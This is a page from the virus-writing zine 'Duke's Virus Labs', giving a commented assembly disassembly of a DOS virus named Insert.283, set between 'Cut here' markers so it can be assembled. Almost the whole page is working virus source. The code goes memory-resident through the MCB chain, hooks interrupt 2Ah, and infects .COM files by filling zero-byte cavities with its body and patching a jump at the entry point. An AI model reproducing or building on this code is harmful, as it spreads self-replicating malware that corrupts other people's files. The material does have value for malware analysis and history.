- [Duke's Virus Labs #8] - [Page 09] -

Disasm of Insert.283
(c) by ULTRAS

===== Cut here =====
; Insert.283

data_1e         equ     0A8h
data_2e         equ     0AAh
data_3e         equ     79h
data_4e         equ     7Ch
data_5e         equ     0FEh

insert  segment byte public
assume  cs:insert, ds:insert
org     100h
virus   proc    far

start:
xor  bx,bx
mov  si,sp
cli
vir:
pop  ax
xchg ah,bh
push ax
dec  sp
pop  ax
xchg ah,bh
push ax
jmp  short $+2
jmp  short vir
pop  ax
xchg ah,bh
push ax
sub  sp,10h
xchg si,sp
sti
mov  cx,11Ah
push cx
int  2Ah
mov  ah,52h
int  21h
mov  ds,es:[bx-2]
xor  di,di              ; zero register
find_last_mcb:
cmp  byte ptr [di],4Dh  ; 'M'
je   mcb_next           ; if equal jump mcb_next
cmp  byte ptr [di],5Ah  ; 'Z'
jne  last_mcb           ; if equal jump last_mcb
mcb_next:
mov  dx,[di+3]
mov  ax,ds
add  dx,ax
inc  dx
mov  ds,dx
jmp  short find_last_mcb
last_mcb:
mov  ds,ax
mov  bx,12h
cmp  [di+3],bx
jb   run
sub  [di+3],bx
add  ax,[di+3]
inc  ax
mov  es,ax
push si
rep  movs byte ptr es:[di],cs:[si]
pop  si
mov  ds,cx
mov  ax,82h
xchg ds:data_1e,ax
stosw
mov  ax,es
xchg ds:data_2e,ax
stosw
run:
push cs
push cs
pop  ds
pop  es
pop  cx
mov  di,data_5e
push di
mov  ax,0AAF3h
stosw
mov  al,0C3h
stosb
mov  ax,0
stosw
mov  di,si
retn
;TSR check
cmp  ax,0F3EBh
jne  zzz
pop  ax
add  ax,49h
push ax
iret
zzz:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp  ah,82h
jne  _exit
cmp  bl,80h
jne  _exit
mov  ax,1218h
int  2Fh
mov  ax,1220h
mov  bx,[si+2]
int  2Fh
mov  ax,1216h
mov  bl,es:[di]
int  2Fh
mov  cx,[si+4]
cmp  cx,11Dh
jbe  _exit
mov  bx,[si+6]
mov  si,[si+0Eh]
push es
pop  ds
test byte ptr [di+5],80h
jnz  _exit
cmp  byte ptr [di+28h],'C'      ; 'C'
jne  _exit                      ; if not equal jump exit
cmp  word ptr [di+29h],'OM'     ; maybe com
jne  _exit                      ; if not equal jump exit
mov  ax,[di+15h]
cwd                             ; word to double word
or   ax,[di+17h]
jnz  _exit                      ; if not zero jump exit
mov  di,bx
mov  es,si

find_0:
inc  dx
scasb
jz   zer0                       ; if zero jump zer0
cwd                             ; word to double word
zer0:
cmp  dx,11Ah
jae  ok
loop find_0
jmp  short _exit
ok:
push cs
pop  ds
xchg si,ax                      ; si and ax = zero
mov  al,0E9h                    ; opcode jmp near
xchg es:[bx],al
mov  ds:data_3e,al
sub  di,dx
lea  ax,[di-3]
sub  ax,bx
xchg es:[bx+1],ax
mov  ds:data_4e,ax
mov  cx,dx                      ; virii size
rep  movsb
_exit:
pop  es
pop  ds
pop  di
pop  si
pop  dx
pop  cx
pop  bx
pop  ax

int2a_exit: db      0eah
vir_end:    dw      ?,?
virus       endp
insert      ends
end start
===== Cut here =====